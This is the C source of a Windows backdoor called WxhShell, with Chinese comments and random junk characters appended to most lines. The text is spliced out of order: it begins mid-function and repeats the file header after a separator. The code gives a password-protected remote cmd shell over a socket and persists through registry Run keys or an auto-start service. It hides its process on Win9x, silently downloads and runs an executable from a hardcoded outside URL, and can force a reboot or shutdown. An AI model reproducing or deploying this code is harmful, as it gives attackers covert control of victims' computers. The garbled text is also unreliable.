    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P2y`d9,Q  
    else { l=EnK"aU  
    closesocket(wsh); DK' ? '  
    ExitThread(0); XY1D<  
    } TJ k3z^.j  
    break; KGsS2  
    } ZAe'lgS  
  // 获取shell X.~z:W+  
  case 's': { ze* =7  
    CmdShell(wsh); b1rW0}A  
    closesocket(wsh); tC;L A 4  
    ExitThread(0); O~3<P3W  
    break; <sU?q<MC  
  } s3nt12  
  // 退出 MA}~bfB  
  case 'x': { m |K"I3W$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Ky<P<@ezm  
    CloseIt(wsh); | .w'Z7(s  
    break; 71euRIW'5  
    } Be~__pd  
  // 离开 CC{*'p6  
  case 'q': { yT[CC>]l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ew`(x30E  
    closesocket(wsh); r~mZ?dI  
    WSACleanup(); ;<=Z\NX  
    exit(1); UZcsMMKH  
    break; 4:umD*d 3E  
        } hw2'.}B"(  
  } #vwK6'z  
  } b2L9%8h  
@#HB6B  
  // 提示信息 9jwcO)p^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ej_>*^b  
} .bdp=vbA  
  } i rjOGn  
Z;=h=  
  return; ;v#BguM  
} |nOqy&B  
;Dh\2! sr  
// shell模块句柄 z@bq*':~J  
int CmdShell(SOCKET sock) SB1j$6]OR7  
{ ;_$Q~X  
STARTUPINFO si; m1pge4*  
ZeroMemory(&si,sizeof(si)); %}.4c8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iax-~{B3AY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `'W/uCpl  
PROCESS_INFORMATION ProcessInfo; [z:.52@!  
char cmdline[]="cmd"; HgGwV;W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d_v]mfUF  
  return 0; ko-3`hX`  
} [j3-a4W u  
Za[ ?CA  
// 自身启动模式 0o2*X|i(  
int StartFromService(void) ;2#9q9(  
{ J&P{7a  
typedef struct 7Shau%2C  
{ Dx)>`yJk$;  
  DWORD ExitStatus; { ^J/S}L]  
  DWORD PebBaseAddress; V/.Na(C~  
  DWORD AffinityMask; 1iA0+Ex(j  
  DWORD BasePriority; Fb2,2Px  
  ULONG UniqueProcessId; ]|JQH  
  ULONG InheritedFromUniqueProcessId; _h6j, )  
}   PROCESS_BASIC_INFORMATION; $ol]G`+  
eeVDU$*e=  
PROCNTQSIP NtQueryInformationProcess; /"+CH\) E  
8ln{!,j;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N F$k~r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QJ i5 H  
(6}[y\a+  
  HANDLE             hProcess; enC/@){~  
  PROCESS_BASIC_INFORMATION pbi; -1_WE/Ps  
Z Zs@P#]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); us5<18 M5  
  if(NULL == hInst ) return 0; Fe[)-_%G  
h6CAd-\x\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %`EyG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^4 MJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F_U9;*f]  
IZ/PZ"n_(  
  if (!NtQueryInformationProcess) return 0; Gye84C2E=  
Cy frnU8g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^ABt g#  
  if(!hProcess) return 0; >^=;b5I2K  
1+F0$<e}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G?M<B~}  
12i<b  
  CloseHandle(hProcess); %nS(>X<B  
eS`ZC!W   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); elqm/u  
if(hProcess==NULL) return 0; b I-uF8"  
{g C?kp  
HMODULE hMod; ; Sd== *  
char procName[255]; "[QQ(]={  
unsigned long cbNeeded; u Gmv`R_  
c$.Zg=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N&uRL_X .  
3 <A?  
  CloseHandle(hProcess); `K7UWtp  
uIy$| N  
if(strstr(procName,"services")) return 1; // 以服务启动 ~GLWhe-  
LULRi#n  
  return 0; // 注册表启动 (+CNs  
} .9u0WP95  
2M+}o"g  
// 主模块 lC=-1*WH  
int StartWxhshell(LPSTR lpCmdLine) 9bQD"%ha=d  
{ n2(`O^yd7C  
  SOCKET wsl; ]')  
BOOL val=TRUE; Y|l&mK?  
  int port=0;  erQQ_  
  struct sockaddr_in door; M=M~M$K  
zv-9z  
  if(wscfg.ws_autoins) Install(); R?3N><oh*  
c W1`[b  
port=atoi(lpCmdLine); j].=,M<dxE  
S`Xx('!/|  
if(port<=0) port=wscfg.ws_port; LE|DMz|J  
Q\nIU7:bZ  
  WSADATA data; @CtnV|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p)qM{`]G\  
1`sTGNo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,bxGd!&{Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w)XnMyD(P  
  door.sin_family = AF_INET; OcE,E6LD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e#AmtheZR  
  door.sin_port = htons(port); XxYwBc'pc  
R0#'t+7^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \>\_OfY1W  
closesocket(wsl); Pil_zQ4  
return 1; cGSG}m@B`  
} ri2`M\;gt  
+gyGA/5:d$  
  if(listen(wsl,2) == INVALID_SOCKET) { M9QYYo@  
closesocket(wsl); to{7B7t>q  
return 1; >g;995tG  
} +MtxS l  
  Wxhshell(wsl); 7<*,O&![|  
  WSACleanup(); JA$RY  
S-[S?&c`  
return 0; RhWW61!"  
g5;Ig  
} kxLWk%V  
`qV*R 2  
// 以NT服务方式启动 FN<S agj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l`A e&nc6  
{ 8Sk$o.Gy  
DWORD   status = 0; 8 KRo<  
  DWORD   specificError = 0xfffffff; Zg4kO;r08  
$!vK#8-&{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "?G?G'yK>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c 'rn8Jo}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z[qi~&7:v  
  serviceStatus.dwWin32ExitCode     = 0; O|nLIfT  
  serviceStatus.dwServiceSpecificExitCode = 0; )!lx'>0>  
  serviceStatus.dwCheckPoint       = 0; pupt__NZ)n  
  serviceStatus.dwWaitHint       = 0; pE {yVs  
k#n%at.g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p Le[<N  
  if (hServiceStatusHandle==0) return; I_Omv{&u  
gh-i| i,  
status = GetLastError(); Ltk-1zhI  
  if (status!=NO_ERROR) hs*n?vxp3  
{ $q##Tys  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; } 4ZWAzH  
    serviceStatus.dwCheckPoint       = 0; qi['~((  
    serviceStatus.dwWaitHint       = 0; &a+=@Z)kf  
    serviceStatus.dwWin32ExitCode     = status; B"rO  
    serviceStatus.dwServiceSpecificExitCode = specificError; C^fn[plL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d[YG&.}+8j  
    return; P @~)9W  
  } ]2c0?f*Y7  
N<O<wtXIj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iB}*<~`.Eg  
  serviceStatus.dwCheckPoint       = 0; b"nD5r  
  serviceStatus.dwWaitHint       = 0; }LY)FT4n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }J`cRDO  
} O Cn  ra  
U Z1Au;(|  
// 处理NT服务事件,比如:启动、停止 -' =?Hs.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _`. Q7  
{ !tSh9L;<O  
switch(fdwControl) d+nxvh?I8  
{ c=D~hzN  
case SERVICE_CONTROL_STOP:  L+CPT  
  serviceStatus.dwWin32ExitCode = 0; oS~;>]W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +OZ\rs  
  serviceStatus.dwCheckPoint   = 0; HLCI  
  serviceStatus.dwWaitHint     = 0; pV`/6 }  
  { '?6j.ms M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZA\;9M=  
  } xKkXr-yb`f  
  return; 8H,k0~D  
case SERVICE_CONTROL_PAUSE: 7b7WQ7u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !8YA1 o  
  break; >=86*U~  
case SERVICE_CONTROL_CONTINUE: _K B%g_{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;?v&=Z't.  
  break; %Iiu#- 'B  
case SERVICE_CONTROL_INTERROGATE: buDz]ec b  
  break; S4pEBbV^n  
}; *=P*b|P"$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ('2Z&5  
} TUARYJ6=  
m%b# B>J,n  
// 标准应用程序主函数 $WO{!R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Ik'beZqK  
{ .vie#,la  
A6 RwLX  
// 获取操作系统版本 )SJ"IY\P  
OsIsNt=GetOsVer(); z0UtKE^b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +~sqv?8  
dU2:H}  
  // 从命令行安装 0]zMb^wo  
  if(strpbrk(lpCmdLine,"iI")) Install(); v SY YetL  
1--Ka& H  
  // 下载执行文件 _}cD_$D  
if(wscfg.ws_downexe) { J06 D_'{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yG;@S8zC  
  WinExec(wscfg.ws_filenam,SW_HIDE); I]%Kd('  
} 0es\ j6c  
j9X|c7|  
if(!OsIsNt) { vnS8N  
// 如果时win9x,隐藏进程并且设置为注册表启动 6ld /E  
HideProc(); j.[W] EfL~  
StartWxhshell(lpCmdLine); /6Kx249Dw  
} 7 .]H9  
else yY]E~  
  if(StartFromService())  `fE'$2  
  // 以服务方式启动 i1K$~  
  StartServiceCtrlDispatcher(DispatchTable); f`iDF+h<6  
else !JBj%|!  
  // 普通方式启动 u'^kpr`y  
  StartWxhshell(lpCmdLine); MY^o0N  
;0`IFtz  
return 0; >I',%v\?@  
} LQR^lD+_=  
=&<d4'(Qk  
/&9R*xNST#  
JIsi  
=========================================== IG:2<G  
\Yn0|j>  
5~d=,;yE  
p K ^$^*#  
zRgAmX/g  
r7^v@  
" L2wX?NA  
R\<d&+q@  
#include <stdio.h> XM#nb$gl  
#include <string.h> ]^Xj!01~  
#include <windows.h> T=RabKVYP  
#include <winsock2.h> qFl|q0\ A  
#include <winsvc.h>  M%g2UP  
#include <urlmon.h> X3~` ~J  
B4 5#-V  
#pragma comment (lib, "Ws2_32.lib") Ug384RzHN  
#pragma comment (lib, "urlmon.lib") %m|1LI(  
[Zzztn+  
#define MAX_USER   100 // 最大客户端连接数 SM1L^M3)  
#define BUF_SOCK   200 // sock buffer qlnA7cK!  
#define KEY_BUFF   255 // 输入 buffer O<ybiPR  
o' v!83$L  
#define REBOOT     0   // 重启 yivWT;`  
#define SHUTDOWN   1   // 关机 ~SmFDg$/m  
xu{VU^'Y  
#define DEF_PORT   5000 // 监听端口 fWb+08}C  
^Pah\p4bj  
#define REG_LEN     16   // 注册表键长度 +~=j3U  
#define SVC_LEN     80   // NT服务名长度 4P"XT  
itg"dGDk  
// 从dll定义API C XNYWx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -w f>N:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MTq/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rU(-R@["  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wEN[o18{  
#N%j9  
// wxhshell配置信息 EB@rIvUi,  
struct WSCFG { KT7R0v  
  int ws_port;         // 监听端口 .*X=[" F  
  char ws_passstr[REG_LEN]; // 口令 c]i;0j? Dl  
  int ws_autoins;       // 安装标记, 1=yes 0=no IkG;j+=  
  char ws_regname[REG_LEN]; // 注册表键名 Vol}wc  
  char ws_svcname[REG_LEN]; // 服务名 ,`YIcrya:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z$B%V t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ypxp4B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =LgMG^@mu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uy<<m"cA;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &aa3BgxyE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -%Rbd0gVH\  
awjAv8tPO!  
}; }Oqt=Wm  
kB%.i%9\\  
// default Wxhshell configuration }8s&~f H  
struct WSCFG wscfg={DEF_PORT, _g-0"a{-  
    "xuhuanlingzhe", W Q9Q:F2  
    1, gVy`||z  
    "Wxhshell", 4#:C t* f  
    "Wxhshell", &0H_W xKeB  
            "WxhShell Service", ;*ni%|K  
    "Wrsky Windows CmdShell Service", Wyow MFp  
    "Please Input Your Password: ", 7#Uzz"^  
  1, Mvp|S.  
  "http://www.wrsky.com/wxhshell.exe", jc\y{I\  
  "Wxhshell.exe" /5Vv5d/Z4!  
    }; Z@%A(nZ_  
1=C<aRZ b^  
// 消息定义模块 b`% !\I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O1wo KkfV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TB=_r(:l+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ==oJhB  
char *msg_ws_ext="\n\rExit."; fL("MDt  
char *msg_ws_end="\n\rQuit."; cd=K=P}p  
char *msg_ws_boot="\n\rReboot..."; rq Uk_|Xa  
char *msg_ws_poff="\n\rShutdown..."; /0$405  
char *msg_ws_down="\n\rSave to "; 8TK*VOf`  
gvD*^  
char *msg_ws_err="\n\rErr!"; kP5G}Bp  
char *msg_ws_ok="\n\rOK!"; EziGkbpd@  
IGi9YpI&K  
char ExeFile[MAX_PATH]; 1o_6WU  
int nUser = 0; g \ou+M#  
HANDLE handles[MAX_USER]; kbJ4CF}H  
int OsIsNt; B6KG\,'|  
YW&`PJ9o  
SERVICE_STATUS       serviceStatus; }Z t#OA $  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z-:>[Sn  
Hs_7oy|P  
// 函数声明 uBn35%  
int Install(void); Rha|Rk~  
int Uninstall(void); 3N|6?'m  
int DownloadFile(char *sURL, SOCKET wsh); *-uzsq.W  
int Boot(int flag); 5uOz#hN  
void HideProc(void); mdo$d-d&  
int GetOsVer(void); 4sW~7:vU  
int Wxhshell(SOCKET wsl); cMoJHC,!  
void TalkWithClient(void *cs); -t>"s'kv  
int CmdShell(SOCKET sock); ]0[ot$Da6  
int StartFromService(void); %iJ}H6m  
int StartWxhshell(LPSTR lpCmdLine);  ls7P$qq  
%o{IQ4Lz#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TCIbPs E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @8+v6z  
Ta/ u&t4  
// 数据结构和表定义 *"4l}&  
SERVICE_TABLE_ENTRY DispatchTable[] = pU[yr'D.r  
{ )qOcx I  
{wscfg.ws_svcname, NTServiceMain}, ,A)Z .OWOq  
{NULL, NULL} pd & HC  
}; R@/"B?`(f  
>3&V"^r(|  
// 自我安装 e&Q w\Ze  
int Install(void) WwWCN N~}  
{ D*?LcxX  
  char svExeFile[MAX_PATH]; G;/l[mvh,  
  HKEY key; g+c%J#F=  
  strcpy(svExeFile,ExeFile); <P6d-+  
H* +7{;$  
// 如果是win9x系统,修改注册表设为自启动 VZ y$0*  
if(!OsIsNt) { {^^LeUd#V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !(viXV5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9?~6{!m_9  
  RegCloseKey(key); rLA-q||  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a2kAZCQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c&{= aIe w  
  RegCloseKey(key); -P&uY`  
  return 0; [9:";JSl"Y  
    } uJeJ=7,EO  
  } 53pT{2]zAi  
} s.n:;8RibP  
else { qDz[=6BF  
ir>+p>s.  
// 如果是NT以上系统,安装为系统服务 |F<%gJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vts"  
if (schSCManager!=0) 81!;Wt(?  
{ o)x&|0_  
  SC_HANDLE schService = CreateService <RY!Mc  
  ( v&3" (fp  
  schSCManager, (I'{ pF)  
  wscfg.ws_svcname, 0>]&9'cn  
  wscfg.ws_svcdisp, -mmQ]'.0  
  SERVICE_ALL_ACCESS, kC6Y?g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4FZ/~Y1}  
  SERVICE_AUTO_START, H@~tJ\L  
  SERVICE_ERROR_NORMAL, gs0`nysM#  
  svExeFile, $#3[Z;\  
  NULL, `Mcg&Mi~  
  NULL, qPWf=s7!  
  NULL, :}/\hz ,  
  NULL, LP'q$iB!  
  NULL ^N 4Y*NtV7  
  ); g)D@4RM  
  if (schService!=0) [z+YX s!N  
  { ^tWSu?9  
  CloseServiceHandle(schService); 6d2e WS  
  CloseServiceHandle(schSCManager); *.+F]-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _`0DO4IU  
  strcat(svExeFile,wscfg.ws_svcname); }d iE'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %L7DC`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SW+;%+`  
  RegCloseKey(key); \Y!=O=za]  
  return 0; N'$P( bx  
    } P4c3kO0  
  } 8>D*U0sNl  
  CloseServiceHandle(schSCManager); B,%KvL&xMX  
} OL:hNbw'~T  
} !?Y71:_!  
{4f%UnSz(  
return 1; Q u7ML]e?z  
} 5 wN)N~JE  
PYY<  
// 自我卸载 ! r/~D |  
int Uninstall(void) G\,B*$3   
{ h4MBw=Tz~  
  HKEY key; 0Js5 ' 9}H  
rg]b$tL~  
if(!OsIsNt) { Gl45HyY_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I,,SR"  
  RegDeleteValue(key,wscfg.ws_regname); aRI.&3-  
  RegCloseKey(key); 99,=dzm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aw4)=-LKO  
  RegDeleteValue(key,wscfg.ws_regname); x_?K6[G&}  
  RegCloseKey(key); ~i'!;'-_}  
  return 0; ="%887e  
  } "&^KnWk=  
} fb^R3wd$ff  
} nA.U'=`  
else { 4e; le&  
_%B,^0;C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3DB= Xh  
if (schSCManager!=0) ) hoVB  
{ W_Y56@7e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $vYy19z  
  if (schService!=0) a>,_o(]cW  
  { >uQjygjj  
  if(DeleteService(schService)!=0) { *ezft&{)`  
  CloseServiceHandle(schService); wN/v-^2  
  CloseServiceHandle(schSCManager); DAORfFG74  
  return 0; u(? U[pe[  
  } bJR\d0Z  
  CloseServiceHandle(schService); GkU$Z @  
  } Zp6VH  
  CloseServiceHandle(schSCManager); eWD!/yr|  
} /l3Oi@\  
} Gi$\th,  
KZ^>_K&  
return 1; wc"~8Ah  
} }j2t8B^&:  
D;+Y0B  
// 从指定url下载文件 w T_l>u  
int DownloadFile(char *sURL, SOCKET wsh) 4 2-T&7k  
{ f(!cz,y^\*  
  HRESULT hr; xCT2FvX6  
char seps[]= "/"; d/$e#8  
char *token; sE|8a  
char *file; VsK8:[Al  
char myURL[MAX_PATH]; $ kMe8F_  
char myFILE[MAX_PATH]; m] p]J_6A  
~HT:BO$  
strcpy(myURL,sURL); %(POC=b#[  
  token=strtok(myURL,seps); TM_bu  
  while(token!=NULL) -O/[c  
  { V2@( BliP  
    file=token; ~ Hj c?*  
  token=strtok(NULL,seps); +2Aggv>*  
  } ,kYX|8SO  
bu \(KR$s  
GetCurrentDirectory(MAX_PATH,myFILE); -qpM 6t  
strcat(myFILE, "\\"); w Bm4~ ~_  
strcat(myFILE, file); 5b I4' ;  
  send(wsh,myFILE,strlen(myFILE),0); 4 EA$<n(A-  
send(wsh,"...",3,0); 7*Zm{r@u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,lFzL3'_0x  
  if(hr==S_OK) 'X/:TOk{W  
return 0; mYXL  
else ) R\";{`M  
return 1; r8czDc),b  
ybv< 1  
} pjSM7PhQ  
?G]yU  
// 系统电源模块 #,})N*7  
int Boot(int flag) gQY`qz  
{ _ |HA\!  
  HANDLE hToken; $`0,N_C<}  
  TOKEN_PRIVILEGES tkp; M;KeY[u  
u3 &# UN  
  if(OsIsNt) { =_Z.x&fi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @j%@Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q1r-xsjV=  
    tkp.PrivilegeCount = 1; 9fM=5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P$^I\aGO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I {%( G(  
if(flag==REBOOT) { ~HtD]|7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Olt;^> MQ  
  return 0; j{=}?+M  
} 7.n\a@I/  
else { w&]$!g4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `7V1 F.\  
  return 0; >^<;;8Xh  
} i-dosY`81  
  } YX3NZW2i  
  else { BuC\Bd^0  
if(flag==REBOOT) { ?"?AH/ED  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'C:i5?zh(q  
  return 0; Rx.5;2m  
} h_\W7xt  
else { Lc-Wf zT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &rG]]IO  
  return 0; Gs04)KJm<  
} -ntQqHs  
} /~+Fzz  
0Q cJ Ek  
return 1; nI+.De~  
} @|'9nPern  
kKC] n   
// win9x进程隐藏模块  Sb)}  
void HideProc(void)  5pHv5e  
{ V;~\+@  
j``Ku@/x0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~Q]::  
  if ( hKernel != NULL ) 9c{ ~$zJW  
  { o{mVXidE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #D >:'ezm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FZ8Qj8  
    FreeLibrary(hKernel); F6h IG G  
  } {5+69&:G.  
O%&N6U  
return; $"0`2C  
} 'S#^ 70kt  
2) 2:KX  
// 获取操作系统版本 c <Q*g  
int GetOsVer(void) }ZiJHj'<  
{ eV;nTj  
  OSVERSIONINFO winfo; Q yQ[H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \y7Gi}nI  
  GetVersionEx(&winfo); c<q~T >0k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {q;_Dd  
  return 1; .I^Y[_.G  
  else -Wre4 ^,v  
  return 0; 7.kH="@  
} $8[JL \  
"`a,/h'  
// 客户端句柄模块 )$*B  
int Wxhshell(SOCKET wsl) vP%:\u:{  
{ #9qX:*>h   
  SOCKET wsh; z> N73 u  
  struct sockaddr_in client; 2Z`Jr/  
  DWORD myID; Ms+SJ5Lg  
!rG-[7K  
  while(nUser<MAX_USER) 6eNBldP!  
{ bp}]'NA  
  int nSize=sizeof(client); 3u;0,:X&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z38Pi  
  if(wsh==INVALID_SOCKET) return 1; s)sT\crP@  
[DtMT6F3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z 2$S'}F  
if(handles[nUser]==0) MY(51)*  
  closesocket(wsh); Jt?`(H  
else |Fq\%y#  
  nUser++; k#p6QA hS  
  } 'RV wxd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A43[i@o  
*WWDwY@!u  
  return 0; JX{rum  
} {L M Q  
/}5)[9GC  
// 关闭 socket Q} g"pl  
void CloseIt(SOCKET wsh) ]^@m $O  
{ PevT`\>  
closesocket(wsh); MOuEsm;  
nUser--; O8LIKD_I[  
ExitThread(0); D8$4PT0u  
} $?pfst~;O  
ykGA.wo7/P  
// 客户端请求句柄 Ffd;aZ4n  
void TalkWithClient(void *cs) ]XYD2fR2qA  
{ Emk:@$3{r  
w`zS`+4  
  SOCKET wsh=(SOCKET)cs; UyDq`@h  
  char pwd[SVC_LEN]; }5B\:*yW  
  char cmd[KEY_BUFF]; koj*3@\p/  
char chr[1]; gf/<sH2}  
int i,j; fA), ^  
/\E3p6\*  
  while (nUser < MAX_USER) { nD=N MqQ &  
:n?rk/F  
if(wscfg.ws_passstr) { b~TTz`HZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A[:(#iR5-E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fvA167\  
  //ZeroMemory(pwd,KEY_BUFF); pE.TG4  
      i=0; r8o^8.  
  while(i<SVC_LEN) { <anU#bEuQ  
^r{N^  
  // 设置超时 X%`:waR  
  fd_set FdRead; h +9~^<oFl  
  struct timeval TimeOut; }rWg ']  
  FD_ZERO(&FdRead); DMKtTt[}  
  FD_SET(wsh,&FdRead); JDO n`7!w  
  TimeOut.tv_sec=8; J@ 8OU  
  TimeOut.tv_usec=0; g}*p(Tp9:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )k4&S{=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~!/agLwY  
TR'_v[uK3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d"lk"R  
  pwd=chr[0]; :y_] JL;w  
  if(chr[0]==0xd || chr[0]==0xa) { *nV"X0&  
  pwd=0; OM@z5UP  
  break; $ao7pvU6  
  } f{{J_""?&  
  i++; C!Fi &~  
    } Xp fw2;`U'  
Z[1|('   
  // 如果是非法用户,关闭 socket 0J;Qpi!u2v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LO38}w<k  
} Y&$puiH-j  
x l=i_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lo=n)cV1,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TT&%[A+  
:fnK`RnaQ  
while(1) { 6 8Vxy  
iY5V4Gbo  
  ZeroMemory(cmd,KEY_BUFF); !3z ;u8W  
1buO&q!vn  
      // 自动支持客户端 telnet标准   YuoIhT  
  j=0; `9acR>00$  
  while(j<KEY_BUFF) { <2O XXQ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z!l]v.S  
  cmd[j]=chr[0]; Nema>T]  
  if(chr[0]==0xa || chr[0]==0xd) { G"Hj$  
  cmd[j]=0; :_o^oi7G  
  break; oZi{v]4  
  } U/h@Q\~U  
  j++; STPRC&7;  
    } Lw<.QMN%f  
Y6(= cm  
  // 下载文件 NGW:hgf  
  if(strstr(cmd,"http://")) { J.c yb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @Z<Z//^k  
  if(DownloadFile(cmd,wsh)) XS.*CB_m_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vr_Z0]4`C9  
  else ?R4%z2rcW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6<f(Zv? I  
  } nt%p@e!,  
  else { 0(o.[% Ye  
h]j>S  
    switch(cmd[0]) { ;f} ']2  
  !mUO/6Q hq  
  // 帮助 4AKPS&k;  
  case '?': { <@Y`RqV+  
